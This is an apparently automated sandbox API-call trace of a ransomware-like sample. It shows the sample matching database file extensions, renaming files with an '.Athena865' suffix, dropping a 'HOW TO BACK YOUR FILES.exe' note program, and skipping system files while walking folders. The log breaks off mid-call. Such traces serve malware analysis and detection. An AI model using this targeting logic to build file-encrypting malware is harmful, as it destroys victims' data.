[0042.853] lstrlenW (lpString="abs") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.853] lstrlenW (lpString="abx") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.853] lstrlenW (lpString="accdb") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accdb") returned 1 [0042.853] lstrlenW (lpString="accdc") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accdc") returned 1 [0042.853] lstrlenW (lpString="accde") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accde") returned 1 [0042.853] lstrlenW (lpString="accdr") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accdr") returned 1 [0042.853] lstrlenW (lpString="accdt") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accdt") returned 1 [0042.853] lstrlenW (lpString="accdw") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accdw") returned 1 [0042.853] lstrlenW (lpString="accft") returned 5 [0042.853] lstrcmpiW (lpString1="s.exe", lpString2="accft") returned 1 [0042.853] lstrlenW (lpString="adb") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.853] lstrlenW (lpString="adb") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.853] lstrlenW (lpString="ade") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.853] lstrlenW (lpString="adf") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.853] lstrlenW (lpString="adn") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.854] lstrlenW (lpString="adp") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.854] lstrlenW (lpString="alf") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.854] lstrlenW (lpString="ask") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.854] lstrlenW (lpString="btr") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.854] lstrlenW (lpString="cat") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.854] lstrlenW (lpString="cdb") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.854] lstrlenW (lpString="ckp") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.854] lstrlenW (lpString="cma") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.854] lstrlenW (lpString="cpd") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.854] lstrlenW (lpString="dacpac") returned 6 [0042.854] lstrcmpiW (lpString1="hs.exe", lpString2="dacpac") returned 1 [0042.854] lstrlenW (lpString="dad") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.854] lstrlenW (lpString="dadiagrams") returned 10 [0042.854] lstrlenW (lpString="daschema") returned 8 [0042.854] lstrlenW (lpString="db-journal") returned 10 [0042.854] lstrlenW (lpString="db-shm") returned 6 [0042.854] lstrcmpiW (lpString1="hs.exe", lpString2="db-shm") returned 1 [0042.854] lstrlenW (lpString="db-wal") returned 6 [0042.854] lstrcmpiW (lpString1="hs.exe", lpString2="db-wal") returned 1 [0042.854] lstrlenW (lpString="dbc") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.854] lstrlenW (lpString="dbs") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.854] lstrlenW (lpString="dbt") returned 3 [0042.854] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.854] lstrlenW (lpString="dbv") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.855] lstrlenW (lpString="dbx") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.855] lstrlenW (lpString="dcb") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.855] lstrlenW (lpString="dct") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.855] lstrlenW (lpString="dcx") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.855] lstrlenW (lpString="ddl") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.855] lstrlenW (lpString="dlis") returned 4 [0042.855] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.855] lstrlenW (lpString="dp1") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.855] lstrlenW (lpString="dqy") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.855] lstrlenW (lpString="dsk") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.855] lstrlenW (lpString="dsn") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.855] lstrlenW (lpString="dtsx") returned 4 [0042.855] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.855] lstrlenW (lpString="dxl") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.855] lstrlenW (lpString="eco") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.855] lstrlenW (lpString="ecx") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.855] lstrlenW (lpString="edb") returned 3 [0042.855] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.855] lstrlenW (lpString="epim") returned 4 [0042.855] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.856] lstrlenW (lpString="fcd") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.856] lstrlenW (lpString="fdb") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.856] lstrlenW (lpString="fic") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.856] lstrlenW (lpString="flexolibrary") returned 12 [0042.856] lstrlenW (lpString="fm5") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.856] lstrlenW (lpString="fmp") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.856] lstrlenW (lpString="fmp12") returned 5 [0042.856] lstrcmpiW (lpString1="s.exe", lpString2="fmp12") returned 1 [0042.856] lstrlenW (lpString="fmpsl") returned 5 [0042.856] lstrcmpiW (lpString1="s.exe", lpString2="fmpsl") returned 1 [0042.856] lstrlenW (lpString="fol") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.856] lstrlenW (lpString="fp3") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.856] lstrlenW (lpString="fp4") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.856] lstrlenW (lpString="fp5") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.856] lstrlenW (lpString="fp7") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.856] lstrlenW (lpString="fpt") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.856] lstrlenW (lpString="frm") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.856] lstrlenW (lpString="gdb") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.856] lstrlenW (lpString="gdb") returned 3 [0042.856] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.856] lstrlenW (lpString="grdb") returned 4 [0042.856] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.856] lstrlenW (lpString="gwi") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.857] lstrlenW (lpString="hdb") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.857] lstrlenW (lpString="his") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.857] lstrlenW (lpString="ib") returned 2 [0042.857] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.857] lstrlenW (lpString="idb") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.857] lstrlenW (lpString="ihx") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.857] lstrlenW (lpString="itdb") returned 4 [0042.857] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.857] lstrlenW (lpString="itw") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.857] lstrlenW (lpString="jet") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.857] lstrlenW (lpString="jtx") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.857] lstrlenW (lpString="kdb") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.857] lstrlenW (lpString="kexi") returned 4 [0042.857] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.857] lstrlenW (lpString="kexic") returned 5 [0042.857] lstrcmpiW (lpString1="s.exe", lpString2="kexic") returned 1 [0042.857] lstrlenW (lpString="kexis") returned 5 [0042.857] lstrcmpiW (lpString1="s.exe", lpString2="kexis") returned 1 [0042.857] lstrlenW (lpString="lgc") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.857] lstrlenW (lpString="lwx") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.857] lstrlenW (lpString="maf") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.857] lstrlenW (lpString="maq") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.857] lstrlenW (lpString="mar") returned 3 [0042.857] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.857] lstrlenW (lpString="marshal") returned 7 [0042.858] lstrlenW (lpString="mas") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.858] lstrlenW (lpString="mav") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.858] lstrlenW (lpString="maw") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.858] lstrlenW (lpString="mdbhtml") returned 7 [0042.858] lstrlenW (lpString="mdn") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.858] lstrlenW (lpString="mdt") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.858] lstrlenW (lpString="mfd") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.858] lstrlenW (lpString="mpd") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.858] lstrlenW (lpString="mrg") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.858] lstrlenW (lpString="mud") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.858] lstrlenW (lpString="mwb") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.858] lstrlenW (lpString="myd") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.858] lstrlenW (lpString="ndf") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.858] lstrlenW (lpString="nnt") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.858] lstrlenW (lpString="nrmlib") returned 6 [0042.858] lstrcmpiW (lpString1="hs.exe", lpString2="nrmlib") returned -1 [0042.858] lstrlenW (lpString="ns2") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.858] lstrlenW (lpString="ns3") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.858] lstrlenW (lpString="ns4") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.858] lstrlenW (lpString="nsf") returned 3 [0042.858] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.859] lstrlenW (lpString="nv") returned 2 [0042.859] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.859] lstrlenW (lpString="nv2") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.859] lstrlenW (lpString="nwdb") returned 4 [0042.859] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.859] lstrlenW (lpString="nyf") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.859] lstrlenW (lpString="odb") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.859] lstrlenW (lpString="odb") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.859] lstrlenW (lpString="oqy") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.859] lstrlenW (lpString="ora") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.859] lstrlenW (lpString="orx") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.859] lstrlenW (lpString="owc") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.859] lstrlenW (lpString="p96") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.859] lstrlenW (lpString="p97") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.859] lstrlenW (lpString="pan") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.859] lstrlenW (lpString="pdb") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.859] lstrlenW (lpString="pdm") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.859] lstrlenW (lpString="pnz") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.859] lstrlenW (lpString="qry") returned 3 [0042.859] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.859] lstrlenW (lpString="qvd") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.860] lstrlenW (lpString="rbf") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.860] lstrlenW (lpString="rctd") returned 4 [0042.860] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.860] lstrlenW (lpString="rod") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.860] lstrlenW (lpString="rodx") returned 4 [0042.860] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.860] lstrlenW (lpString="rpd") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.860] lstrlenW (lpString="rsd") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.860] lstrlenW (lpString="sas7bdat") returned 8 [0042.860] lstrlenW (lpString="sbf") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.860] lstrlenW (lpString="scx") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.860] lstrlenW (lpString="sdb") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.860] lstrlenW (lpString="sdc") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.860] lstrlenW (lpString="sdf") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.860] lstrlenW (lpString="sis") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.860] lstrlenW (lpString="spq") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.860] lstrlenW (lpString="te") returned 2 [0042.860] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.860] lstrlenW (lpString="teacher") returned 7 [0042.860] lstrlenW (lpString="tmd") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.860] lstrlenW (lpString="tps") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.860] lstrlenW (lpString="trc") returned 3 [0042.860] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.860] lstrlenW (lpString="trc") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.861] lstrlenW (lpString="trm") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.861] lstrlenW (lpString="udb") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.861] lstrlenW (lpString="udl") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.861] lstrlenW (lpString="usr") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.861] lstrlenW (lpString="v12") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.861] lstrlenW (lpString="vis") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.861] lstrlenW (lpString="vpd") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.861] lstrlenW (lpString="vvv") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.861] lstrlenW (lpString="wdb") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.861] lstrlenW (lpString="wmdb") returned 4 [0042.861] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.861] lstrlenW (lpString="wrk") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.861] lstrlenW (lpString="xdb") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.861] lstrlenW (lpString="xld") returned 3 [0042.861] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.861] lstrlenW (lpString="xmlff") returned 5 [0042.861] lstrcmpiW (lpString1="s.exe", lpString2="xmlff") returned -1 [0042.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe.Athena865") returned 54 [0042.861] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\vhs.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\vhs.exe.athena865"), dwFlags=0x1) returned 1 [0042.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\vhs.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.862] GetLastError () returned 0x20 [0042.862] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe CreateFile error 32\r\n") returned 74 [0042.862] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe CreateFile error 32\r\n") returned 74 [0042.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0042.862] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19f0 [0042.862] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4a, lpOverlapped=0x0) returned 1 [0042.862] CloseHandle (hObject=0x17c) returned 1 [0042.863] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\vhs.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\vhs.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\vhs.exe"), dwFlags=0x1) returned 1 [0042.863] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.863] CloseHandle (hObject=0x0) returned 0 [0042.863] CloseHandle (hObject=0xffffffff) returned 0 [0042.863] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414fea0, ftCreationTime.dwHighDateTime=0x1d56c3c, ftLastAccessTime.dwLowDateTime=0xb999cc70, ftLastAccessTime.dwHighDateTime=0x1d54cba, ftLastWriteTime.dwLowDateTime=0xb999cc70, ftLastWriteTime.dwHighDateTime=0x1d54cba, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vhs.exe", cAlternateFileName="")) returned 0 [0042.863] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.864] ReleaseMutex (hMutex=0xec) returned 1 [0042.864] CloseHandle (hObject=0xec) returned 1 [0042.864] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0042.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515ea0 | out: hHeap=0x4f0000) returned 1 [0042.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5f0 | out: hHeap=0x4f0000) returned 1 [0042.864] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0042.864] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DD0DC45D2EB8A0CF419CDAE46215F4F7") returned 0xec [0042.864] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.864] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0042.864] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.864] GetLastError () returned 0x0 [0042.864] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530d08 [0042.865] ReadFile (in: hFile=0xf4, lpBuffer=0x530d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.865] CloseHandle (hObject=0xf4) returned 1 [0042.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.866] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.866] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.866] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.866] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.866] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.866] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.867] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.867] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.867] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.867] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.867] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="windows") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="bootmgr") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="temp") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="pagefile.sys") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="boot") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="ids.txt") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="ntuser.dat") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="perflogs") returned -1 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="MSBuild") returned -1 [0042.867] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0042.867] lstrcpyW (in: lpString1=0x241e896, lpString2="AccessibleMarshal.dll" | out: lpString1="AccessibleMarshal.dll") returned="AccessibleMarshal.dll" [0042.867] lstrlenW 